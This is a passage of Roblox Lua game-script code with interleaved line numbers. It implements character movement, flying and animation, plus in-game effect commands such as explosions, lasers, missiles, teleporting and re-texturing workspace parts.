				local stepTime = 1 / 60
2936
				if not PlayerControl.characterEnabled then
2937
					ResetCharacter()
2938
					break
2939
				end
2940
				torsoLight.Brightness = 0.5 + 0.15 * math.sin(totalTime * 0.75 * math.pi)
2941
				local featherfallEnabled = PlayerControl.IsFeatherfallEnabled()
2942
				local rootPartCFrame = rootPart.CFrame
2943
				if not jumpDebounce and UserInterface:IsKeyDown(Enum.KeyCode.Space) then
2944
					if humanoid.Sit then
2945
						humanoid.Sit = false
2946
					end
2947
					if IsStanding() then
2948
						jumpDebounce = true
2949
						pose = "Jumping"
2950
						rootPart.Velocity = Vector3.new(rootPart.Velocity.X, 50, rootPart.Velocity.Z)
2951
						torso.Velocity = Vector3.new(torso.Velocity.X, 50, torso.Velocity.Z)						
2952
						TaskScheduler.Schedule(1, function()
2953
							if pose == "Jumping" then
2954
								pose = "FreeFall"
2955
							end
2956
							jumpDebounce = false
2957
							humanoid.Jump = false
2958
						end)
2959
					end
2960
				end
2961
				local cameraCFrame = Camera.CoordinateFrame
2962
				local cameraDirection = cameraCFrame.lookVector
2963
				if flying then
2964
					if PlayerControl.rolling then
2965
						local rootPartCFrame = rootPart.CFrame
2966
						local speed = (rootPartCFrame - rootPartCFrame.p):pointToObjectSpace(rootPart.Velocity).Y
2967
						local decay = 0.5 ^ stepTime
2968
						if math.abs(speed) <= 50 then
2969
							PlayerControl.rollingAngle = (((PlayerControl.rollingAngle + 0.5) % 1 - 0.5) * decay) % 1
2970
							PlayerControl.rollingOffset = PlayerControl.rollingOffset * decay
2971
						else
2972
							PlayerControl.rollingAngle = (PlayerControl.rollingAngle + stepTime * speed * PlayerControl.rollingSpeed) % 1
2973
							PlayerControl.rollingOffset = (PlayerControl.rollingOffset + PlayerControl.rollingMaxOffset * (1 / decay - 1)) * decay
2974
						end
2975
						rootJoint.C0 = (CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) * CFrame.Angles(PlayerControl.rollingAngle * 2 * math.pi, 0, 0)) * CFrame.new(0, -PlayerControl.rollingOffset, 0)
2976
					else
2977
						rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
2978
						PlayerControl.rollingAngle = 0
2979
						PlayerControl.rollingOffset = 0
2980
					end
2981
					rightShoulder.MaxVelocity = 0.5
2982
					leftShoulder.MaxVelocity = 0.5
2983
					rightShoulder.DesiredAngle = 0
2984
					leftShoulder.DesiredAngle = 0
2985
					rightHip.DesiredAngle = 0
2986
					leftHip.DesiredAngle = 0
2987
					bodyGyro.D = 500
2988
					bodyGyro.P = 1e6
2989
					bodyGyro.maxTorque = Vector3.new(1e6, 1e6, 1e6)
2990
					bodyVelocity.P = 1250
2991
					bodyVelocity.maxForce = Vector3.new(1e6, 1e6, 1e6)
2992
					local movementRight = 0
2993
					local movementForward = 0
2994
					local movementUp = 0
2995
					if UserInterface:IsKeyDown(Enum.KeyCode.A) and not UserInterface:IsKeyDown(Enum.KeyCode.D) then
2996
						movementRight = -1
2997
					elseif UserInterface:IsKeyDown(Enum.KeyCode.D) then
2998
						movementRight = 1
2999
					end
3000
					if UserInterface:IsKeyDown(Enum.KeyCode.W) then
3001
						movementUp = 0.2
3002
						if not UserInterface:IsKeyDown(Enum.KeyCode.S) then
3003
							movementForward = -1
3004
						end
3005
					elseif UserInterface:IsKeyDown(Enum.KeyCode.S) then
3006
						movementForward = 1
3007
					end
3008
					local movement = PlayerControl.fly_acceleration * cameraCFrame:vectorToWorldSpace(Vector3.new(movementRight, movementUp, movementForward))
3009
					local previousMomentum = flyingMomentum
3010
					local previousTilt = flyingTilt
3011
					flyingMomentum = movement + flyingMomentum * (1 - PlayerControl.fly_acceleration / PlayerControl.fly_speed)
3012
					flyingTilt = ((flyingMomentum * Vector3.new(1, 0, 1)).unit:Cross((previousMomentum * Vector3.new(1, 0, 1)).unit)).Y
3013
					if flyingTilt ~= flyingTilt or flyingTilt == math.huge then
3014
						flyingTilt = 0
3015
					end
3016
					local absoluteTilt = math.abs(flyingTilt)
3017
					if absoluteTilt > 0.06 or absoluteTilt < 0.0001 then
3018
						if math.abs(previousTilt) > 0.0001 then
3019
							flyingTilt = previousTilt * 0.9
3020
						else
3021
							flyingTilt = 0
3022
						end
3023
					else
3024
						flyingTilt = previousTilt * 0.77 + flyingTilt * 0.25
3025
					end
3026
					previousTilt = flyingTilt
3027
					if flyingMomentum.magnitude < 0.1 then
3028
						flyingMomentum = Vector3.new(0, 0, 0)
3029
--						bodyGyro.cframe = cameraCFrame
3030
					else
3031
						local momentumOrientation = CFrame.new(Vector3.new(0, 0, 0), flyingMomentum)
3032
						local tiltOrientation = CFrame.Angles(0, 0, -20 * flyingTilt)
3033
						bodyGyro.cframe = momentumOrientation * tiltOrientation * CFrame.Angles(-0.5 * math.pi * math.min(flyingMomentum.magnitude / PlayerControl.fly_speed, 1), 0, 0)
3034
					end
3035
					bodyVelocity.velocity = flyingMomentum + Vector3.new(0, 0.15695775618683547, 0)
3036
					rootPart.Velocity = flyingMomentum
3037
					previousMomentum = flyingMomentum
3038
				else
3039
					rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
3040
					PlayerControl.rollingAngle = 0
3041
					PlayerControl.rollingOffset = 0
3042
					bodyGyro.D = 3250
3043
					bodyGyro.P = 400000
3044
					bodyVelocity.P = 5000
3045
					local cameraDirection = cameraCFrame.lookVector
3046
					local walkDirection = Vector3.new(0, 0, 0)
3047
					local walkSpeed = 16
3048
					if UserInterface:IsKeyDown(Enum.KeyCode.W) then
3049
						if UserInterface:IsKeyDown(Enum.KeyCode.A) then
3050
							walkDirection = Vector3.new(cameraDirection.X + cameraDirection.Z, 0, cameraDirection.Z - cameraDirection.X).unit
3051
						elseif UserInterface:IsKeyDown(Enum.KeyCode.D) then
3052
							walkDirection = Vector3.new(cameraDirection.X - cameraDirection.Z, 0, cameraDirection.Z + cameraDirection.X).unit
3053
						else
3054
							walkDirection = Vector3.new(cameraDirection.X, 0, cameraDirection.Z).unit
3055
						end
3056
					elseif UserInterface:IsKeyDown(Enum.KeyCode.S) then
3057
						if UserInterface:IsKeyDown(Enum.KeyCode.A) then
3058
							walkDirection = Vector3.new(-cameraDirection.X + cameraDirection.Z, 0, -cameraDirection.Z - cameraDirection.X).unit
3059
						elseif UserInterface:IsKeyDown(Enum.KeyCode.D) then
3060
							walkDirection = Vector3.new(-cameraDirection.X - cameraDirection.Z, 0, -cameraDirection.Z + cameraDirection.X).unit
3061
						else
3062
							walkDirection = Vector3.new(-cameraDirection.X, 0, -cameraDirection.Z).unit
3063
						end
3064
					elseif UserInterface:IsKeyDown(Enum.KeyCode.A) then
3065
						walkDirection = Vector3.new(cameraDirection.Z, 0, -cameraDirection.X).unit
3066
					elseif UserInterface:IsKeyDown(Enum.KeyCode.D) then
3067
						walkDirection = Vector3.new(-cameraDirection.Z, 0, cameraDirection.X).unit
3068
					else
3069
						walkSpeed = 0
3070
					end
3071
					if walkSpeed ~= previousWalkSpeed then
3072
						if walkSpeed > 0 then
3073
							soundRunning:Play()
3074
						else
3075
							soundRunning:Pause()
3076
						end
3077
					end
3078
					if walkSpeed > 0 then
3079
						if pose ~= "Jumping" then
3080
							if IsStanding() then
3081
								pose = "Running"
3082
							else
3083
								pose = "FreeFall"
3084
							end
3085
						end
3086
						bodyGyro.cframe = CFrame.new(Vector3.new(), walkDirection)
3087
						bodyGyro.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
3088
						bodyVelocity.maxForce = Vector3.new(1000000, maxForceY, 1000000)
3089
					else
3090
						if pose ~= "Jumping" then
3091
							if IsStanding() then
3092
								pose = "Standing"
3093
							else
3094
								pose = "FreeFall"
3095
							end
3096
						end
3097
						-- TODO: find and fix bug that causes torso to rotate back to some angle
3098
						bodyGyro.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000) -- Vector3.new(1000000000, 0, 1000000000)
3099
						if PlayerControl.pushable then
3100
							bodyVelocity.maxForce = Vector3.new(0, 0, 0)
3101
						else
3102
							bodyVelocity.maxForce = Vector3.new(1000000, 0, 1000000)
3103
						end
3104
					end
3105
					if featherfallEnabled then
3106
						local velocity = rootPart.Velocity
3107
						if velocity.Y > 50 then
3108
							rootPart.Velocity = Vector3.new(velocity.X, 50, velocity.Z)
3109
						elseif velocity.Y < -50 then
3110
							rootPart.Velocity = Vector3.new(velocity.X, -50, velocity.Z)
3111
						end
3112
						local distanceVector = rootPartCFrame.p - previousRootPartCFrame.p
3113
						local offsetX, offsetY, offsetZ = distanceVector.X, distanceVector.Y, distanceVector.Z
3114
						local MAX_MOVEMENT = 50 * 0.03333333507180214
3115
						if offsetX > MAX_MOVEMENT then
3116
							offsetX = MAX_MOVEMENT
3117
						elseif offsetX < -MAX_MOVEMENT then
3118
							offsetX = -MAX_MOVEMENT
3119
						end
3120
						if offsetY > MAX_MOVEMENT then
3121
							offsetY = MAX_MOVEMENT
3122
						elseif offsetY < -MAX_MOVEMENT then
3123
							offsetY = -MAX_MOVEMENT
3124
						end
3125
						if offsetZ > MAX_MOVEMENT then
3126
							offsetZ = MAX_MOVEMENT
3127
						elseif offsetZ < -MAX_MOVEMENT then
3128
							offsetZ = -MAX_MOVEMENT
3129
						end
3130
						local offset = Vector3.new(offsetX, offsetY, offsetZ)
3131
						if offset ~= distanceVector then
3132
							rootPartCFrame = previousRootPartCFrame + offset
3133
							--rootPart.CFrame = rootPartCFrame
3134
						end
3135
					end
3136
					local walkingVelocity = walkDirection * walkSpeed
3137
					bodyVelocity.velocity = walkingVelocity
3138
					if not jumpDebounce and math.abs(rootPart.Velocity.Y) <= 0.1 then
3139
						rootPart.Velocity = Vector3.new(walkingVelocity.X, rootPart.Velocity.Y, walkingVelocity.Z)
3140
					end
3141
					previousWalkSpeed = walkSpeed
3142
					if pose == "Jumping" or jumpDebounce then
3143
						rightShoulder.MaxVelocity = 0.5
3144
						leftShoulder.MaxVelocity = 0.5
3145
						rightShoulder.DesiredAngle = 3.14
3146
						leftShoulder.DesiredAngle = -3.14
3147
						rightHip.DesiredAngle = 0
3148
						leftHip.DesiredAngle = 0
3149
					elseif pose == "FreeFall" then
3150
						rightShoulder.MaxVelocity = 0.5
3151
						leftShoulder.MaxVelocity = 0.5
3152
						rightShoulder.DesiredAngle = 3.14
3153
						leftShoulder.DesiredAngle = -3.14
3154
						rightHip.DesiredAngle = 0
3155
						leftHip.DesiredAngle = 0
3156
					elseif pose == "Seated" then
3157
						rightShoulder.MaxVelocity = 0.15
3158
						leftShoulder.MaxVelocity = 0.15
3159
						rightShoulder.DesiredAngle = 3.14 / 2
3160
						leftShoulder.DesiredAngle = -3.14 / 2
3161
						rightHip.DesiredAngle = 3.14 / 2
3162
						leftHip.DesiredAngle = -3.14 / 2
3163
					else
3164
						local climbFudge = 0
3165
						local amplitude
3166
						local frequency
3167
						if pose == "Running" then
3168
							rightShoulder.MaxVelocity = 0.15
3169
							leftShoulder.MaxVelocity = 0.15
3170
							amplitude = 1
3171
							frequency = 9
3172
						elseif (pose == "Climbing") then
3173
							rightShoulder.MaxVelocity = 0.5 
3174
							leftShoulder.MaxVelocity = 0.5
3175
							amplitude = 1
3176
							frequency = 9
3177
							climbFudge = 3.14
3178
						else
3179
							amplitude = 0.1
3180
							frequency = 1
3181
						end
3182
						local desiredAngle = amplitude * math.sin(totalTime * frequency)
3183
						rightShoulder.DesiredAngle = desiredAngle + climbFudge
3184
						leftShoulder.DesiredAngle = desiredAngle - climbFudge
3185
						rightHip.DesiredAngle = -desiredAngle
3186
						leftHip.DesiredAngle = -desiredAngle
3187
					end
3188
				end
3189
				previousRootPartCFrame = rootPartCFrame
3190
				RunService.RenderStepped:wait()
3191
			end
3192
			if model.Parent ~= nil then
3193
				model.Parent = nil
3194
			end
3195
			PlayerControl.CreateCharacter()
3196
		end)
3197
		humanoid.Health = 100
3198
		character = model
3199
		chatAdornee = head
3200
	elseif characterMode == "pyramid" then
3201
		if PlayerControl.characterEnabled then
3202
			Camera.CameraType = "Fixed"
3203
			PyramidCharacter.camera_distance = (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude
3204
			PyramidCharacter.camera_position = Camera.Focus.p
3205
			PyramidCharacter.Teleport(Camera.Focus.p)
3206
			PyramidCharacter.visible = true
3207
			Player.Character = nil
3208
		else
3209
			PyramidCharacter.visible = false
3210
		end
3211
	end
3212
end
3213
function PlayerControl.GetCharacter()
3214
	return character
3215
end
3216
function PlayerControl.GetHead()
3217
	local characterMode = PlayerControl.characterMode
3218
	if characterMode == "normal" then
3219
		return head
3220
	elseif characterMode == "pyramid" then
3221
		return PyramidCharacter.core
3222
	end
3223
end
3224
function PlayerControl.GetHumanoid()
3225
	return humanoid
3226
end
3227
function PlayerControl.GetRootPart()
3228
	return rootPart
3229
end
3230
function PlayerControl.GetTorso()
3231
	return torso
3232
end
3233
function PlayerControl.IsEnabled()
3234
	return PlayerControl.characterEnabled
3235
end
3236
function PlayerControl.IsFeatherfallEnabled()
3237
	return PlayerControl.featherfallEnabled
3238
end
3239
function PlayerControl.IsPushable()
3240
	return PlayerControl.pushable
3241
end
3242
function PlayerControl.IsRolling()
3243
	return PlayerControl.rolling
3244
end
3245
function PlayerControl.ResetCharacter()
3246
	if character and character.Parent then
3247
		character.Parent = nil
3248
	end
3249
	PyramidCharacter.visible = false
3250
end
3251
function PlayerControl.SetEnabled(state, no_animation)
3252
	state = not not state
3253
	if state ~= PlayerControl.characterEnabled then
3254
		PlayerControl.characterEnabled = state
3255
		local characterMode = PlayerControl.characterMode
3256
		if characterMode == "normal" then
3257
			local torso = PlayerControl.GetRootPart()
3258
			local rootPart = PlayerControl.GetRootPart()
3259
			if rootPart then
3260
				if PlayerControl.characterEnabled then
3261
					local torso_cframe = Camera.Focus:toWorldSpace(PlayerControl.hide_torso_object_cframe)
3262
					PlayerControl.torso_cframe = torso_cframe
3263
					torso.CFrame = torso_cframe
3264
					rootPart.CFrame = torso_cframe
3265
				else
3266
					PlayerControl.hide_torso_object_cframe = Camera.Focus:toObjectSpace(rootPart.CFrame)
3267
				end
3268
			else
3269
				PlayerControl.torso_cframe = Camera.Focus
3270
			end
3271
			if PlayerControl.characterEnabled then
3272
				PlayerControl.CreateCharacter()
3273
				RunService.Stepped:wait()
3274
				coroutine.yield()
3275
				if not no_animation then
3276
					GraphicalEffects.CrystalRing({base_part = PlayerControl.GetTorso(), crystal_color = BrickColor.new("Institutional white"), float_duration = 2})
3277
				end		
3278
			else
3279
				Player.Character = nil
3280
				Camera.CameraType = "Fixed"
3281
				if not no_animation then
3282
					GraphicalEffects.CrystalRing({position = PlayerControl.GetTorso().Position, crystal_color = BrickColor.new("Institutional white"), float_duration = 2})
3283
				end
3284
			end
3285
		else
3286
			if state then
3287
				PlayerControl.CreateCharacter()
3288
				RunService.Stepped:wait()
3289
				coroutine.yield()
3290
				if not no_animation then
3291
					GraphicalEffects.CrystalRing({base_part = PyramidCharacter.core, crystal_color = BrickColor.new("Institutional white"), float_duration = 2})
3292
				end
3293
			else
3294
				PyramidCharacter.visible = false
3295
				if not no_animation then
3296
					GraphicalEffects.CrystalRing({position = PyramidCharacter.core.Position, crystal_color = BrickColor.new("Institutional white"), float_duration = 2})
3297
				end
3298
			end
3299
		end
3300
	end
3301
end
3302
function PlayerControl.SetFeatherfallEnabled(state)
3303
	state = not not state
3304
	if state ~= PlayerControl.featherfallEnabled then
3305
		PlayerControl.featherfallEnabled = state
3306
		if state then
3307
			Logger.print("Info", "Featherfall enabled in PlayerControl")
3308
		else
3309
			Logger.print("Info", "Featherfall disabled in PlayerControl")
3310
		end
3311
	end
3312
end
3313
function PlayerControl.SetPushable(state)
3314
	state = not not state
3315
	if state ~= PlayerControl.pushable then
3316
		PlayerControl.pushable = state
3317
		if state then
3318
			Logger.print("Info", "Pushing enabled in PlayerControl")
3319
		else
3320
			Logger.print("Info", "Pushing disabled in PlayerControl")
3321
		end
3322
	end
3323
end
3324
function PlayerControl.SetRolling(state)
3325
	state = not not state
3326
	if state ~= PlayerControl.rolling then
3327
		PlayerControl.rolling = state
3328
		if state then
3329
			Logger.print("Info", "Rolling fly mode enabled in PlayerControl")
3330
		else
3331
			Logger.print("Info", "Rolling fly mode disabled in PlayerControl")
3332
		end
3333
	end
3334
end
3335
function PlayerControl.StartFlying()
3336
	PlayerControl.fly_speed = PlayerControl.fly_basespeed
3337
	if torso then
3338
		flyingMomentum = torso.Velocity + torso.CFrame.lookVector * 3 + Vector3.new(0, 10, 0)
3339
	else
3340
		flyingMomentum = Vector3.new()
3341
	end
3342
	flyingTilt = 0
3343
	flying = true
3344
end
3345
function PlayerControl.StopFlying()
3346
	if bodyGyro.cframe then
3347
		local lookVector = bodyGyro.cframe.lookVector
3348
		if lookVector.X ~= 0 or lookVector.Z ~= 0 then
3349
			bodyGyro.cframe = CFrame.new(Vector3.new(), Vector3.new(lookVector.X, 0, lookVector.Z))
3350
		end
3351
	end
3352
	flying = false
3353
end
3354
local previousTime = 0
3355
3356
ControllerCommands = {};
3357
3358
ControllerCommands = {};
3359
3360
ControllerCommands.BALEFIRE_SPEED = 40
3361
function ControllerCommands.BalefireAtMouse()
3362
        local head = chatAdornee
3363
        if head then
3364
                local target = Mouse.Hit.p
3365
                local origin = head.Position
3366
                local direction = (target - origin).unit
3367
                local explosionCount = 0
3368
                local animation_frame = 0
3369
                local magic_circle_position = origin + direction * 4
3370
                local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction)
3371
                local magic_circle_part = Instance.new("Part")
3372
                local magic_circle_mesh = Instance.new("BlockMesh", magic_circle_part)
3373
                local magic_circle_light = Instance.new("PointLight", magic_circle_part)
3374
                local magic_circle_decal_back = Instance.new("Decal", magic_circle_part)
3375
                local magic_circle_decal_front = Instance.new("Decal", magic_circle_part)
3376
                magic_circle_part.Anchored = true
3377
                magic_circle_part.Archivable = false
3378
                magic_circle_part.BottomSurface = "Smooth"
3379
                magic_circle_part.CanCollide = false
3380
                magic_circle_part.CFrame = magic_circle_cframe
3381
                magic_circle_part.FormFactor = "Custom"
3382
                magic_circle_part.Locked = true
3383
                magic_circle_part.Size = Vector3.new(0.2, 0.2, 0.2)
3384
                magic_circle_part.TopSurface = "Smooth"
3385
                magic_circle_part.Transparency = 1
3386
                magic_circle_mesh.Scale = Vector3.new(60, 60, 0)
3387
                magic_circle_light.Color = Color3.new(1, 0.5, 1)
3388
                magic_circle_light.Range = 16
3389
                magic_circle_light.Shadows = true
3390
                magic_circle_decal_back.Face = "Back"
3391
                magic_circle_decal_back.Texture = "rbxassetid://122610943"
3392
                magic_circle_decal_front.Face = "Front"
3393
                magic_circle_decal_front.Texture = "rbxassetid://122610943"
3394
                local function NextExplosion()
3395
                        explosionCount = explosionCount + 1
3396
                        Instance.new("Explosion", Workspace).Position = origin + direction * (explosionCount * 8 + 4)
3397
                end
3398
                local function AnimateMagicCircle()
3399
                        animation_frame = animation_frame + 1
3400
                        local transparency = (animation_frame / 40) ^ 3
3401
                        if animation_frame == 40 then
3402
                                pcall(Game.Destroy, magic_circle_part)
3403
                        else
3404
                                if magic_circle_part.Parent ~= Workspace then
3405
                                        pcall(Utility.SetProperty, magic_circle_part, "Parent", Workspace)
3406
                                end
3407
                                head = PlayerControl.GetHead()
3408
                                if head then
3409
                                        magic_circle_position = head.Position + direction * 4
3410
                                end
3411
                                magic_circle_part.CFrame = CFrame.new(magic_circle_position, magic_circle_position + direction) * CFrame.Angles(0, 0,
3412
 
3413
math.tau * animation_frame / 40 * 1.5)
3414
                                magic_circle_light.Brightness = 1 - transparency
3415
                                magic_circle_decal_back.Transparency = transparency
3416
                                magic_circle_decal_front.Transparency = transparency
3417
                        end
3418
                end
3419
                magic_circle_part.Parent = Workspace
3420
                for i = 1, 40 do
3421
                        Delay((i - 1) / ControllerCommands.BALEFIRE_SPEED, NextExplosion)
3422
                        Delay((i - 1) / 30, AnimateMagicCircle)
3423
                end
3424
                for i = 1, 20 do
3425
                        Delay((i - 1) / ControllerCommands.BALEFIRE_SPEED, NextExplosion)
3426
                end
3427
        end
3428
end
3429
function ControllerCommands.ControlRandomDummy()
3430
        local dummies = {}
3431
        local numDummies = 0
3432
        for _, character in ipairs(Workspace:GetChildren()) do
3433
                local name = tostring(character)
3434
                if name == "???" or name == "Dummy" then
3435
                        local head, humanoid
3436
                        for _, child in ipairs(character:GetChildren()) do
3437
                                local className = child.ClassName
3438
                                if className == "Part" and tostring(child) == "Head" then
3439
                                        head = child
3440
                                        if humanoid then
3441
                                                break
3442
                                        end
3443
                                elseif className == "Humanoid" then
3444
                                        if child.Health > 0 then
3445
                                                humanoid = child
3446
                                                if head then
3447
                                                        break
3448
                                                end
3449
                                        else
3450
                                                break
3451
                                        end
3452
                                end
3453
                        end
3454
                        if head and humanoid then
3455
                                numDummies = numDummies + 1
3456
                                dummies[numDummies] = {character, head, humanoid}
3457
                        end
3458
                end
3459
        end
3460
        if numDummies > 0 then
3461
                local dummy = dummies[math.random(numDummies)]
3462
                Player.Character = dummy[1]
3463
                chatAdornee = dummy[2]
3464
                Camera.CameraSubject = dummy[3]
3465
                Camera.CameraType = "Track"
3466
        end
3467
end
3468
function ControllerCommands.Decalify(textures, exclusion)
3469
        local objects = Workspace:GetChildren()
3470
        for _, object in ipairs(objects) do
3471
                if not exclusion[object] then
3472
                        for _, child in ipairs(object:GetChildren()) do
3473
                                objects[#objects + 1] = child
3474
                        end
3475
                        if object:IsA("BasePart") then
3476
                                local texture = textures[math.random(#textures)]
3477
                                local face_left = Instance.new("Decal", object)
3478
                                face_left.Face = Enum.NormalId.Left
3479
                                face_left.Texture = texture
3480
                                local face_right = Instance.new("Decal", object)
3481
                                face_right.Face = Enum.NormalId.Right
3482
                                face_right.Texture = texture
3483
                                local face_bottom = Instance.new("Decal", object)
3484
                                face_bottom.Face = Enum.NormalId.Bottom
3485
                                face_bottom.Texture = texture
3486
                                local face_top = Instance.new("Decal", object)
3487
                                face_top.Face = Enum.NormalId.Top
3488
                                face_top.Texture = texture
3489
                                local face_front = Instance.new("Decal", object)
3490
                                face_front.Face = Enum.NormalId.Front
3491
                                face_front.Texture = texture
3492
                                local face_back = Instance.new("Decal", object)
3493
                                face_back.Face = Enum.NormalId.Back
3494
                                face_back.Texture = texture
3495
                        end
3496
                end
3497
        end
3498
end
3499
3500
function ControllerCommands.ExplodeAtMouse()
3501
        local explosion = Instance.new("Explosion")
3502
        explosion.Position = Mouse.Hit.p
3503
        explosion.Parent = Workspace
3504
end
3505
function ControllerCommands.LaserAtMouse()
3506
        GraphicalEffects.ShootLaserOfDeath(Mouse.Hit.p)
3507
end
3508
function ControllerCommands.BigLaser(target)
3509
        GraphicalEffects.ShootLaserOfDeath(target, {brickcolor = BrickColor.new("New Yeller"), duration = 80, fragmentation_size = 6,laser_scale = 30, light_color = Color3.new(1, 0.5, 0), magic_circle_image = "rbxassetid://126561317", magic_circle_scale = 1.5, sound_volume = 1,special_effects = BrickColor.new("Deep orange"), stay = 2})
3510
end
3511
function ControllerCommands.BigLaserAtMouse()
3512
        ControllerCommands.BigLaser(Mouse.Hit.p)
3513
end
3514
function ControllerCommands.ShootMissile(targetPart, pointOnPart, direction)
3515
        GraphicalEffects.ShootMissile(targetPart, pointOnPart, direction)
3516
end
3517
function ControllerCommands.ShootMissileAtMouse(amount, spread, delayTime)
3518
        local exclusionList = {}
3519
        local playerHead = PlayerControl.GetHead()
3520
        local playerTorso = PlayerControl.GetTorso()
3521
        if playerHead and playerTorso then
3522
                exclusionList[playerTorso] = true
3523
                local humanoid, torso = Utility.FindHumanoidClosestToRay(Mouse.UnitRay, exclusionList)
3524
                local targetPart, pointOnPart
3525
                if humanoid and torso then
3526
                        targetPart, pointOnPart = torso, Vector3.new()
3527
                else
3528
                        local target = Mouse.Target
3529
                        if target then
3530
                                targetPart, pointOnPart = target, target.CFrame:pointToObjectSpace(Mouse.Hit.p)
3531
                        else
3532
                                return
3533
                        end
3534
                end
3535
                if targetPart then
3536
                        local direction = (Mouse.Hit.p - playerHead.Position).unit
3537
                        delayTime = delayTime or 0
3538
                        for index = 1, amount do
3539
                                local angles = math.tau * (index - 0.5) * spread / amount * Vector3.new(math.random() - 0.5, math.random() - 0.5,math.random() - 0.5).unit
3540
                                TaskScheduler.Schedule(delayTime * (index - 1), ControllerCommands.ShootMissile, targetPart, pointOnPart, CFrame.Angles(angles.X, angles.Y, angles.Z) * direction)
3541
                        end
3542
                end
3543
        end
3544
end
3545
function ControllerCommands.ShootMissileAroundMouse(amount, offset, delayTime)
3546
        local exclusionList = {}
3547
        local playerHead = PlayerControl.GetHead()
3548
        local playerTorso = PlayerControl.GetTorso()
3549
        if playerHead and playerTorso then
3550
                exclusionList[playerTorso] = true
3551
                local humanoid, torso = Utility.FindHumanoidClosestToRay(Mouse.UnitRay, exclusionList)
3552
                local targetPart, pointOnPart
3553
                if humanoid and torso then
3554
                        targetPart, pointOnPart = torso, Vector3.new()
3555
                else
3556
                        local target = Mouse.Target
3557
                        if target then
3558
                                targetPart, pointOnPart = target, target.CFrame:pointToObjectSpace(Mouse.Hit.p)
3559
                        else
3560
                                return
3561
                        end
3562
                end
3563
                if targetPart then
3564
                        delayTime = delayTime or 0
3565
                        local index = 1
3566
                        local targetPoint = targetPart.CFrame * pointOnPart
3567
                        local rotation_offset_angles = math.tau * Vector3.new(math.random() - 0.5, math.random() - 0.5, 0).unit
3568
                        local rotation_offset = CFrame.Angles(rotation_offset_angles.x, rotation_offset_angles.y, 0)
3569
                        local angle_x = 0
3570
                        local angle_x_step = math.tau / math.phi
3571
                        for i = 1, 8 * amount do
3572
                                angle_x = angle_x + angle_x_step
3573
                                local direction = rotation_offset * (CFrame.Angles(0, math.tau * index / amount, 0) * CFrame.Angles(angle_x, 0,0).lookVector)
3574
                                local blocked = Workspace:FindPartOnRay(Ray.new(targetPoint, direction * offset), targetPart.Parent)
3575
                                if not blocked then
3576
                                        local p0, p1, p2, p3 = targetPart, pointOnPart, direction, offset; GraphicalEffects.ShootMissile(p0, p1, p2, function() return p0 end, p3, true)
3577
                                        index = index + 1
3578
                                        if index > amount then
3579
                                                break
3580
                                        end
3581
                                end
3582
                        end
3583
                end
3584
        end
3585
end
3586
3587
function ControllerCommands.HugeExplosionOfDoom(position)
3588
        local connections = {}
3589
        local parts = {}
3590
        local cframe = CFrame.new(position)
3591
        local function ExplosionHit(part)
3592
                if part:GetMass() < 10000 and part.Parent ~= Camera then
3593
                        parts[part] = true
3594
                        part.Anchored = true
3595
                        part:BreakJoints()
3596
                        part.BrickColor = BrickColor.new("Instituational white")
3597
                end
3598
        end
3599
        for i = 1, 4 do
3600
                local quantity = 0.5 * i * (1 + i)
3601
                local fraction = math.tau / quantity
3602
                for x = 1, quantity do
3603
                        for y = 1, quantity do
3604
                                local explosion = Instance.new("Explosion")
3605
                                connections[#connections + 1] = explosion.Hit:connect(ExplosionHit)
3606
                                explosion.BlastRadius = 5
3607
                                explosion.Position = cframe * (CFrame.Angles(fraction * x, fraction * y, 0) * Vector3.new((i - 1) * 6, 0, 0))
3608
                                explosion.Parent = Workspace
3609
                        end
3610
                end
3611
                wait(0.075)
3612
        end
3613
        for part in pairs(parts) do
3614
                for _, child in ipairs(part:GetChildren()) do
3615
                        if child:IsA("BodyMover") then
3616
                                child:Destroy()
3617
                        end
3618
                end
3619
                local mass = part:GetMass()
3620
                local velocity = CFrame.Angles(math.tau * math.random(), math.tau * math.random(), 0) * Vector3.new(25, 0, 0)
3621
                local bodythrust = Instance.new("BodyThrust")
3622
                bodythrust.force = mass * -velocity
3623
                bodythrust.Parent = part
3624
                local bodyforce = Instance.new("BodyForce")
3625
                bodyforce.force = mass * Vector3.new(0, 196.2, 0)
3626
                bodyforce.Parent = part
3627
                part.Anchored = false
3628
                part.Reflectance = 1
3629
                part.RotVelocity = math.tau * Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5)
3630
                part.Transparency = 0.5
3631
                part.Velocity = (part.CFrame - part.Position) * velocity
3632
        end
3633
        for _, connection in ipairs(connections) do
3634
                connection:disconnect()
3635
        end
3636
        for i = 0, 99 do
3637
                Delay(i / 10, function()
3638
                        for part in pairs(parts) do
3639
                                local new_transparency = 0.5 * (1 + i / 50)
3640
                                part.Reflectance = 0.98 * part.Reflectance
3641
                                if new_transparency > part.Transparency then
3642
                                        part.Transparency = new_transparency
3643
                                end
3644
                        end
3645
                end)
3646
        end
3647
        Delay(10, function()
3648
                for part in pairs(parts) do
3649
                        pcall(part.Destroy, part)
3650
                end
3651
        end)
3652
end
3653
function ControllerCommands.HugeExplosionOfDoomAtMouse()
3654
        ControllerCommands.HugeExplosionOfDoom(Mouse.Hit.p)
3655
end
3656
3657
function ControllerCommands.SpaceHyperBeam(asd)
3658
        GraphicalEffects.SpaceHyperBeam(asd)
3659
end
3660
function ControllerCommands.SpaceHyperBeamAtMouse()
3661
        ControllerCommands.SpaceHyperBeam(Mouse.Hit.p)
3662
end
3663
function ControllerCommands.ConcentratedSpaceHyperBeamAtMouse()
3664
        local p = Mouse.Hit.p; for i = 1, 50 do GraphicalEffects.SpaceHyperBeam(p) end
3665
end
3666
3667
function ControllerCommands.TeleportCharacterToMouse()
3668
        if PlayerControl.IsEnabled() then
3669
                local torso = PlayerControl.GetTorso()
3670
                if torso then
3671
                        local pos = Mouse.Hit.p + Vector3.new(0, 5, 0)
3672
                        torso.CFrame = CFrame.new(pos, pos + torso.CFrame.lookVector)
3673
                end
3674
        else
3675
                local new_focus_position = Mouse.Hit.p
3676
                local direction_vector = Camera.CoordinateFrame.lookVector
3677
                local new_focus = CFrame.new(new_focus_position, new_focus_position + direction_vector)
3678
